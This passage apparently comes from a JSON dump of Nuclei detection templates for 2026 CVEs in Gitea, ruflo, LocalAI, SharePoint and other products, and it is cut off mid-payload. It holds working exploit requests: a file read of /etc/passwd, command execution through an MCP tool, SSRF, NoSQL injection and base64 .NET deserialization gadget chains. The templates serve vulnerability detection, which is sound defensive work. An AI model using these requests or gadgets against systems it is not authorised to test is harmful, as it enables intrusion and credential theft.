'\"CVE-2026-60004 RCE | Gitea | /etc/passwd: \" + body'\n# digest: 4a0a00473045022018b7d393a739d1f38234dd72062485ad0019c487bf36834c4b5ca3312f79272c022100b5062f1d0742e2d74750229b989c5a1e527e3a432357b6aab51fbf55e46a2316:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-60004.yaml","vuln_id":"cve-2026-60004"},{"raw":"id: CVE-2026-59801\n\ninfo:\n  name: 9Router - Unauthenticated LLM Provider API Exposure\n  author: 0x_Akoko\n  severity: critical\n  description: |\n   9Router through version 0.4.41 contains an unauthenticated access vulnerability caused by missing authentication middleware in Next.js API routes under src/app/api/providers/*, letting remote attackers enumerate, create, modify, or delete provider connections, exploit requires no authentication.\n  impact: |\n   Remote attackers can expose credentials, redirect traffic, or cause denial of service by deleting provider connections.\n  remediation: |\n   Update to the latest version that includes authentication middleware for API routes.\n  reference:\n    - https://github.com/decolua/9router/security/advisories/GHSA-vjc7-jrh9-9j86\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-59801\n  metadata:\n    verified: true\n    max-request: 2\n    product: 9router\n    vendor: decolua\n    shodan-query: port:20128 http.html:\"9Router\"\n    fofa-query: port=\"20128\" || title=\"9Router\"\n  tags: 9router,unauth,api-exposure,misconfig,api-key-leak\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET /api/version HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"currentVersion\")'\n          - 'compare_versions(lsversion, \">=0.0.1\", \"<=0.4.41\")'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: lsversion\n        internal: true\n        group: 1\n        regex:\n          - '\"currentVersion\"\\s*:\\s*\"([^\"]+)\"'\n\n  - raw:\n      - |\n        GET /api/providers HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(content_type, \"application/json\")'\n          - 'contains_all(body, \"authType\", \"provider\", \"connections\")'\n        condition: and\n# digest: 490a00463044022006f0fed50c29d6ba9ddcb673702b7616c0b1b74dab30eb96b5c2e05f5178092d022020940a819186881ff030d085e9a6e18629af664546a645c2fd7f2d83d141592b:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-59801.yaml","vuln_id":"cve-2026-59801"},{"raw":"id: CVE-2026-59774\n\ninfo:\n  name: Gitea 1.22.1-1.27.0 - Unauthenticated Arbitrary File Read\n  author: ashish-cybersec\n  severity: critical\n  description: |\n    Gitea versions 1.22.1 through 1.27.0 initialize the go-org markup renderer without replacing its default ReadFile callback. An unauthenticated attacker can submit Org-mode markup containing an #+INCLUDE directive with an absolute path to the repository markup endpoint of any public repository, causing the server to read and render arbitrary files accessible to the Gitea service user.\n  impact: |\n    Unauthenticated attackers can read arbitrary files readable by the Gitea service user, including app.ini which contains INTERNAL_TOKEN, OAuth and JWT material, and database credentials. The advisory notes this can be escalated to command execution via Git hook injection.\n  remediation: |\n    Update to Gitea version 1.27.1 or later.\n  reference:\n    - https://github.com/go-gitea/gitea/security/advisories/GHSA-6v53-hr58-556r\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-59774\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-59774\n    epss-score: 0.28308\n    epss-percentile: 0.98126\n    cwe-id: CWE-22\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: go-gitea\n    product: gitea\n    shodan-query: http.title:\"Gitea\"\n    fofa-query: title=\"Gitea\"\n  tags: cve,cve2026,gitea,lfi,traversal,markup,vkev\n\nflow: http(1) && http(2)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/api/v1/repos/search?limit=1\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"\\\"full_name\\\":\")'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: json\n        name: reponame\n        json:\n          - '.data[0].full_name'\n        internal: true\n\n  - raw:\n      - |\n        POST /{{reponame}}/markup HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        mode=file&file_path=a.org&text=%23%2BINCLUDE%3A%20%22%2Fetc%2Fpasswd%22%20src%20shell\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"chroma language-bash\"\n\n      - type: regex\n        part: body\n        regex:\n          - 'root:.*:0:0:'\n\n      - type: status\n        status:\n          - 200\n# digest: 4b0a004830460221008ad461897076f6506353baaf27304ce7380a36cebaaf531b218746162deb3148022100cbcc1153f4446e9171638c2021f5d1b5e275b6d1979d495cb1c1ef22f4f5887c:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-59774.yaml","vuln_id":"cve-2026-59774"},{"raw":"id: CVE-2026-59726\n\ninfo:\n  name: ruflo MCP Bridge - Unauthenticated RCE via terminal_execute\n  author: DhiyaneshDk\n  severity: critical\n  description: |\n    ruflo MCP bridge (< 3.16.3) in its default docker-compose deployment exposes POST /mcp with no authentication and binds to all interfaces (0.0.0.0:3001). The executeTool() function has no server-side deny list for dangerous tools, allowing an unauthenticated attacker to invoke tools/call with ruflo__terminal_execute, which runs execSync(command) on attacker-supplied input. This yields arbitrary command execution as the node user (uid 1000) inside the bridge container. The blocklist (AUTOPILOT_BLOCKED_PATTERNS + isBlockedTool()) is enforced only in the autopilot SSE handler; POST /mcp and POST /mcp/:group bypass it entirely.\n  impact: |\n    Unauthenticated remote code execution. An attacker can read provider API keys (OPENAI_API_KEY, ANTHROPIC_API_KEY, etc.) from the container environment, spawn attacker-controlled swarms on victim keys, and persist poisoned patterns into AgentDB.\n  remediation: |\n    Upgrade ruflo to version 3.16.3 or later which adds DANGEROUS_TOOLS gate in executeTool(), bearer auth middleware (MCP_AUTH_TOKEN), loopback bind by default (BIND_HOST=127.0.0.1), and MCP_ENABLE_TERMINAL opt-in. As interim mitigation, firewall port 3001 and set MCP_AUTH_TOKEN in docker-compose.yml.\n  reference:\n    - https://github.com/ruvnet/ruflo/security/advisories/GHSA-c4hm-4h84-2cf3\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-59726\n    - https://www.pruva.dev/reproductions/REPRO-2026-00315\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-59726\n    epss-score: 0.03019\n    epss-percentile: 0.87481\n    cwe-id: CWE-78\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: ruvnet\n    product: ruflo\n  tags: cve,cve2026,ruflo,mcp,rce,unauth,ghsa\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        POST /mcp HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"jsonrpc\":\"2.0\",\"method\":\"tools/list\",\"id\":1}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body, \"terminal_execute\")'\n          - 'status_code == 200'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /mcp HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"jsonrpc\":\"2.0\",\"method\":\"tools/call\",\"id\":1,\"params\":{\"name\":\"ruflo__terminal_execute\",\"arguments\":{\"command\":\"id\"}}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains_all(body, \"uid=\", \"gid=\", \"exitCode\")'\n          - 'status_code == 200'\n        condition: and\n\n    extractors:\n      - type: regex\n        group: 0\n        regex:\n          - 'uid=[0-9]+\\([a-z]+\\)'\n# digest: 4b0a00483046022100b51ed0e8aa141de0f5d65b1f5e6666248f4cbf9cd8c49ec6b215df139470da0f022100d89296c1fc12f42c541a5f23a4499e41750da479346f3cb204ec1f66c0048dea:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-59726.yaml","vuln_id":"cve-2026-59726"},{"raw":"id: CVE-2026-59707\n\ninfo:\n  name: LocalAI < 4.6.0 - Server-Side Request Forgery\n  author: ashish-cybersec\n  severity: critical\n  description: |\n    LocalAI before 4.6.0 is affected by an unauthenticated server-side request forgery vulnerability in the POST /models/apply endpoint. The gallery `url` field is passed to the gallery config fetcher without validation, allowing an unauthenticated attacker to make the server issue HTTP requests to arbitrary internal, loopback, link-local, and cloud-metadata addresses. The outcome of the server-side fetch is reflected in the model-apply job status.\n  impact: |\n    An unauthenticated attacker can reach internal-only services and cloud metadata endpoints through the server, with partial responses leaked via job error messages.\n  remediation: |\n    Upgrade to LocalAI 4.6.0 or later, which validates gallery config URLs and rejects requests to internal network addresses.\n  reference:\n    - https://github.com/mudler/LocalAI/issues/10665\n    - https://github.com/mudler/LocalAI/commit/2cbb3c96b34d\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-59707\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N\n    cvss-score: 9.3\n    cve-id: CVE-2026-59707\n    epss-score: 0.01383\n    epss-percentile: 0.72257\n    cwe-id: CWE-918\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: mudler\n    product: localai\n    shodan-query: http.favicon.hash:-976853304\n    fofa-query: icon_hash=\"-976853304\"\n  tags: cve,cve2026,localai,ssrf,mudler\n\nhttp:\n  - raw:\n      - |\n        POST /models/apply HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"url\":\"http://{{interactsh-url}}/{{rand_text_alpha(6)}}.yaml\"}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '\"uuid\":\"'\n          - 'status\":'\n        condition: and\n\n      - type: word\n        part: interactsh_protocol\n        words:\n          - \"dns\"\n\n      - type: status\n        status:\n          - 200\n\n    extractors:\n      - type: regex\n        name: jobid\n        part: body\n        group: 1\n        regex:\n          - '\"uuid\":\"([a-f0-9-]+)\"'\n        internal: true\n# digest: 4b0a00483046022100a19fa43bbde8a971d17b149f0fec37eebefd8249bee184d56106e451db00b415022100c9b38ee50db3c95ef1e95509f05fb7bb55c995d8b865e58dda0342be9708fe2a:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-59707.yaml","vuln_id":"cve-2026-59707"},{"raw":"id: CVE-2026-59509\n\ninfo:\n  name: cve-search 4.0-6.0.0 - Unauthenticated NoSQL Injection\n  author: str4k3r\n  severity: critical\n  description: |\n    cve-search versions 4.0 through 6.0.0 expose an unauthenticated DataTables endpoint that accepts attacker-controlled MongoDB collection, projection, filtering, and pagination parameters. This detector uses a harmless invalid projection field against the intended cves collection; version 6.0.1 rejects that field.\n  impact: |\n    An unauthenticated network attacker can read unintended MongoDB data, including administrative usernames and password hashes when local authentication is enabled, by controlling DataTables query parameters.\n  remediation: |\n    Upgrade cve-search to v6.0.1 or later.\n  reference:\n    - https://github.com/cve-search/cve-search/issues/1217\n    - https://github.com/cve-search/cve-search/pull/1218\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-59509\n  classification:\n    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X\n    cvss-score: 9.2\n    cve-id: CVE-2026-59509\n    epss-score: 0.01426\n    epss-percentile: 0.73034\n    cwe-id: CWE-20\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: cve-search\n    product: cve-search\n  tags: cve,cve2026,cve-search,mongodb,nosql-injection,unauth\n\nhttp:\n  - raw:\n      - |\n        POST /fetch_cve_data HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        draw=1&start=0&length=1&retrieve=cves&search%5Bvalue%5D=&search%5Bregex%5D=false&columns%5B0%5D%5Bdata%5D=password&columns%5B0%5D%5Bsearchable%5D=true&columns%5B0%5D%5Borderable%5D=false&columns%5B0%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B0%5D%5Bsearch%5D%5Bregex%5D=false\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains_all(body, \"\\\"recordsTotal\\\"\",\"\\\"data\\\"\")'\n          - 'status_code == 200'\n        condition: and\n# digest: 4b0a00483046022100ed7c1fa1fe9d9aa0a07b7a7dbb7cb72f6855dfdcedc75a2b003c3b576d4f3c6b022100b027c21fe8b2db4deb32d9e3a7945d80e321c1f8aa5105c346d80052b78110c7:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-59509.yaml","vuln_id":"cve-2026-59509"},{"raw":"id: CVE-2026-59177\n\ninfo:\n  name: ESPHome Device Builder <1.0.10 - Unauthenticated Dashboard Access\n  author: str4k3r\n  severity: high\n  description: |\n    ESPHome Device Builder versions before 1.0.10 bind the trusted Home Assistant ingress site to all interfaces. A client that can reach the ingress port can therefore access the dashboard without the Supervisor's authentication proxy.\n  impact: |\n    An unauthenticated network client may access the Device Builder dashboard and its authenticated capabilities, which can lead to unauthorized access to ESPHome projects and device-management operations.\n  remediation: |\n    Upgrade the ESPHome add-on to a release bundling Device Builder 1.0.10 or later.\n  reference:\n    - https://github.com/esphome/device-builder/security/advisories/GHSA-vv4j-m4vr-f3g6\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-59177\n    - https://github.com/esphome/device-builder/pull/1565\n    - https://github.com/esphome/device-builder/commit/b6387db3f8bf1d3df5771f40e9856b959ae4f6a1\n  classification:\n    cvss-metrics: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 8.8\n    cve-id: CVE-2026-59177\n    epss-score: 0.01168\n    epss-percentile: 0.6746\n    cwe-id: CWE-306\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: esphome\n    product: device-builder\n    shodan-query: http.title:\"ESPHome Device Builder\"\n  tags: cve,cve2026,esphome,device-builder,auth-bypass,unauth,exposure\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body, \"<title>ESPHome Device Builder</title>\")'\n          - 'contains(body, \"<esphome-app\")'\n          - 'status_code == 200'\n        condition: and\n# digest: 490a004630440220437a5832a4382e0324ebdbc95e40cafe1fffcaff9658010a4fd09342099fbf6402206adfbef60e4e17a253561139f19b583a23db2d7b732fe7519a0d83ba2ab5335f:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-59177.yaml","vuln_id":"cve-2026-59177"},{"raw":"id: CVE-2026-58644\n\ninfo:\n  name: Microsoft SharePoint Server - WS-Federation BinaryFormatter Deserialization RCE\n  author: pdteam\n  severity: critical\n  description: |\n    Microsoft SharePoint Server (2016, 2019, Subscription Edition <= 2026.3.1) contains a remote code execution vulnerability in the WS-Federation passive sign-in endpoint (/_trust/default.aspx). The SharePoint authentication module (SPFederationAuthenticationModuleV2) uses a deflate-only DeflateCookieTransform (no MAC/signature check) to decode and BinaryFormatter to deserialize the SecurityContextToken Cookie value in the wresult parameter without type restrictions. An unauthenticated attacker can send a crafted WS-Federation token containing a BinaryFormatter gadget chain (DataSet + LosFormatter + XamlAssemblyLoadFromFile) to execute arbitrary code in the context of the IIS application pool identity (w3wp.exe). The fix (KB5002882, July 2026 CU) replaces the DeflateCookieTransform with\n    NotSupportedCookieTransform, making ReadToken() throw before deserialization.\n  impact: |\n    Unauthenticated attackers can achieve remote code execution as the SharePoint application pool identity (typically a domain service account). This enables full SharePoint farm compromise, machine key extraction for persistent forged authentication tokens, and lateral movement within the domain.\n  remediation: |\n    Apply the July 2026 Cumulative Update (KB5002882 / build 16.0.19725.20434 or later). After patching, rotate farm machine keys using Set-SPMachineKey or Update-SPMachineKey and perform iisreset to revoke any pre-compromise stolen keys. Enable AMSI request-body scanning for /_trust/default.aspx as defense in depth.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-58644\n    - https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58644\n    - https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-58644\n    - https://github.com/WismanSec/sharepoint-2026-poc\n    - https://www.rapid7.com/blog/post/etr-cve-2026-58644-microsoft-sharepoint-server-unauthenticated-remote-code-execution-vulnerability-exploited-in-the-wild/\n    - https://documentation.n-able.com/N-central/Release_Notes/GA/Content/N-central_2026.3_HF1_Release_Notes.htm\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-58644\n    cwe-id: CWE-502\n    epss-score: 0.15873\n    epss-percentile: 0.96896\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: microsoft\n    product: sharepoint_server\n    shodan-query: http.component:\"sharepoint\"\n    fofa-query: app=\"Microsoft-SharePoint\"\n  tags: cve,cve2026,sharepoint,rce,deserialization,microsoft,kev,vkev\n\nvariables:\n  dataset_gadget_b64: 'AAEAAAD/////AQAAAAAAAAAMAgAAAE5TeXN0ZW0uRGF0YSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAABNTeXN0ZW0uRGF0YS5EYXRhU2V0AgAAAAlYbWxTY2hlbWELWG1sRGlmZkdyYW0BAQIAAAAGAwAAAKEKPHhzOnNjaGVtYSB4bWxucz0iIiB4bWxuczp4cz0iaHR0cDovL3d3dy53My5vcmcvMjAwMS9YTUxTY2hlbWEiIHhtbG5zOm1zZGF0YT0idXJuOnNjaGVtYXMtbWljcm9zb2Z0LWNvbTp4bWwtbXNkYXRhIiBpZD0ic29tZWRhdGFzZXQiPg0KICAgICAgICAgICAgICAgIDx4czplbGVtZW50IG5hbWU9InNvbWVkYXRhc2V0IiBtc2RhdGE6SXNEYXRhU2V0PSJ0cnVlIiBtc2RhdGE6VXNlQ3VycmVudExvY2FsZT0idHJ1ZSI+DQogICAgICAgICAgICAgICAgICAgIDx4czpjb21wbGV4VHlwZT4NCiAgICAgICAgICAgICAgICAgICAgICAgIDx4czpjaG9pY2UgbWluT2NjdXJzPSIwIiBtYXhPY2N1cnM9InVuYm91bmRlZCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHhzOmVsZW1lbnQgbmFtZT0iaGVoZSI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx4czpjb21wbGV4VHlwZT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx4czpzZXF1ZW5jZT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8eHM6ZWxlbWVudCBuYW1lPSJwd24iIG1zZGF0YTpEYXRhVHlwZT0iU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuTGlzdGAxW1tTeXN0ZW0uRGF0YS5TZXJ2aWNlcy5JbnRlcm5hbC5FeHBhbmRlZFdyYXBwZXJgMltbU3lzdGVtLldlYi5VSS5Mb3NGb3JtYXR0ZXIsIFN5c3RlbS5XZWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iMDNmNWY3ZjExZDUwYTNhXSxbU3lzdGVtLldpbmRvd3MuRGF0YS5PYmplY3REYXRhUHJvdmlkZXIsIFByZXNlbnRhdGlvbkZyYW1ld29yaywgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzVdXSwgU3lzdGVtLkRhdGEuU2VydmljZXMsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0iIHR5cGU9InhzOmFueVR5cGUiIG1pbk9jY3Vycz0iMCIvPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC94czpzZXF1ZW5jZT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC94czpjb21wbGV4VHlwZT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3hzOmVsZW1lbnQ+DQogICAgICAgICAgICAgICAgICAgICAgICA8L3hzOmNob2ljZT4NCiAgICAgICAgICAgICAgICAgICAgPC94czpjb21wbGV4VHlwZT4NCiAgICAgICAgICAgICAgICA8L3hzOmVsZW1lbnQ+DQogICAgICAgICAgICA8L3hzOnNjaGVtYT4GBAAAAMtHPGRpZmZncjpkaWZmZ3JhbSB4bWxuczptc2RhdGE9InVybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206eG1sLW1zZGF0YSIgeG1sbnM6ZGlmZmdyPSJ1cm46c2NoZW1hcy1taWNyb3NvZnQtY29tOnhtbC1kaWZmZ3JhbS12MSI+DQogICAgICAgICAgICAgICAgPHNvbWVkYXRhc2V0Pg0KICAgICAgICAgICAgICAgICAgICA8aGVoZSBkaWZmZ3I6aWQ9IlRhYmxlIiBtc2RhdGE6cm93T3JkZXI9IjAiIGRpZmZncjpoYXNDaGFuZ2VzPSJpbnNlcnRlZCI+DQogICAgICAgICAgICAgICAgICAgICAgICA8cHduIHhtbG5zOnhzaT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS9YTUxTY2hlbWEtaW5zdGFuY2UiIHhtbG5zOnhzZD0iaHR0cDovL3d3dy53My5vcmcvMjAwMS9YTUxTY2hlbWEiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxFeHBhbmRlZFdyYXBwZXJPZkxvc0Zvcm1hdHRlck9iamVjdERhdGFQcm92aWRlciB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiB4bWxuczp4c2Q9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hIiA+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxFeHBhbmRlZEVsZW1lbnQvPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8UHJvamVjdGVkUHJvcGVydHkwPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPE1ldGhvZE5hbWU+RGVzZXJpYWxpemU8L01ldGhvZE5hbWU+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8TWV0aG9kUGFyYW1ldGVycz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YW55VHlwZSB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiB4bWxuczp4c2Q9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hIiB4c2k6dHlwZT0ieHNkOnN0cmluZyI+SEFYPC9hbnlUeXBlPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9NZXRob2RQYXJhbWV0ZXJzPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPE9iamVjdEluc3RhbmNlIHhzaTp0eXBlPSJMb3NGb3JtYXR0ZXIiPjwvT2JqZWN0SW5zdGFuY2U+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvUHJvamVjdGVkUHJvcGVydHkwPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvRXhwYW5kZWRXcmFwcGVyT2ZMb3NGb3JtYXR0ZXJPYmplY3REYXRhUHJvdmlkZXI+DQogICAgICAgICAgICAgICAgICAgICAgICA8L3B3bj4NCiAgICAgICAgICAgICAgICAgICAgPC9oZWhlPg0KICAgICAgICAgICAgICAgIDwvc29tZWRhdGFzZXQ+DQogICAgICAgICAgICA8L2RpZmZncjpkaWZmZ3JhbT4L'\n\n  internal_gadget_b64: '/wEy1jAAAQAAAP////8BAAAAAAAAAAwCAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAAIQBU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuU29ydGVkU2V0YDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBAAAAAVDb3VudAhDb21wYXJlcgdWZXJzaW9uBUl0ZW1zAAMABgiNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQgCAAAAAgAAAAkDAAAAAgAAAAkEAAAABAMAAACNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQEAAAALX2NvbXBhcmlzb24DIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIJBQAAABEEAAAAAgAAAAYGAAAAAAYHAAAAqiA8UmVzb3VyY2VEaWN0aW9uYXJ5CnhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbC9wcmVzZW50YXRpb24iCnhtbG5zOng9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sIgp4bWxuczpzPSJjbHItbmFtZXNwYWNlOlN5c3RlbTthc3NlbWJseT1tc2NvcmxpYiIKeG1sbnM6cj0iY2xyLW5hbWVzcGFjZTpTeXN0ZW0uUmVmbGVjdGlvbjthc3NlbWJseT1tc2NvcmxpYiIKeG1sbnM6aT0iY2xyLW5hbWVzcGFjZTpTeXN0ZW0uSU87YXNzZW1ibHk9bXNjb3JsaWIiCnhtbG5zOmM9ImNsci1uYW1lc3BhY2U6U3lzdGVtLklPLkNvbXByZXNzaW9uO2Fzc2VtYmx5PVN5c3RlbSIKPgogICA8czpBcnJheSB4OktleT0iZGF0YSIgeDpGYWN0b3J5TWV0aG9kPSJzOkNvbnZlcnQuRnJvbUJhc2U2NFN0cmluZyI+CiAgICAgIDx4OkFyZ3VtZW50cz4KICAgICAgICAgPHM6U3RyaW5nPkg0c0lBQUFBQUFBRUFPMVd5MDljVlJqLzNXRm9oNkVRS0xXV3BOYUxVRU45M0F4bDhORVlTeG13WUhqSndORFlKbkJuNWdqWDNMbDNldThkaEM2MExqUTFNV3FpY2VmS1RSZGROS2JHeHNURWhWdVdibHp4QjVqb1ZoZmk3NXg3NXdGTVVqYW1pZUc3Yzc1enpuZSt4Kzg3ejVsNSt3dTBBSWl6N080Q0R4SFNLQjVOdDFrNm4vNnhFdy9hdHZzZWF0UGJmWXZybHErWFBYZk5NMHQ2d1hRY045RHpRdmNxam00NSt2aGNWaSs1UldGMGRDUUhJaC96RThDMDFvTHlxUS9YcTM1M0VPdHIxOXFCWXdnTDZadzAwR3ZBdWxRN0Z1SUc2clVDRlF1YkxSajlTS3JLWDcydVZZcCs2UWVXbzRUdnhwb2t1UXFjT01SY0hDRGlTelIwRSt4UE52U05RR3dHckFmaW9hN0tjMTk4aWxjTnovY0tpTEFSbzBvMHNWZVA0bEhERTdaYmlMQ3VScjVPSE5BYk80QXpXb2hKWmRLS1RRYWQ1b2JRRHBGaU0vbzZOa2pyNUNCaEp0MVd5WmhZMHFPN3N0ZEQ1aDVuOXprQ3liNDVwa1ZSSk15TnRKRXlobFBEUTY5S1NTdHM4ck1jN244ZnVNTjZRTGF6Z1djNWE3N1V1TWY4MHF6N2w3TFlpWVZyMm45MWFXcWM5Wi9zMzVEOU1kdk5SN2dvMHE2ZUF0cGs1Ky96d3pnZDVsaWRkdGsrM3RCdVVWYkpDT0V4WE1BejVEbThSTDVCbnNSZGZFUCtNM2tuL3NKdlNrK0x1UHk2OEtUS1JMYm5kU24vK0V4S2VleEdpamE5a0wwMnhmdndBR2ZKdDFrdW9FTjdGa1BvMVo2SGdYYTJEUFRnRXVLMzk4LzFWMmpZOXlwdXI2b2JaVDNFdDErbU1aY2F2VGJqRml1MmVCMmwwbEJ4Sk8zZk5JcTJqUW1VL0lMcjJWWWUyUzAvRUNYTTVkOFZoUUJHSVhDOVNHWXNWSnpBS2drajQ1YktsaTI4clBBMnJJTHdFUXJNd0hLZEJXR2JtNnJsWHdtNGZ2bEtJQkFaU2pVTzVTM2JDcmJxbzFVazFURExJby9KSUNoblhFZWRtalVSckdRcW5pZWNRTWtYaEYrbWU2RUdhcDNJT09QYU5vSEwrRWEyTEFxV2FWdTNSQkd6Wmtua1RMc2k2Z3JLZmxLWVJlSDU4Tm1la29tVHVxL2hSY3lpZ2dMM3B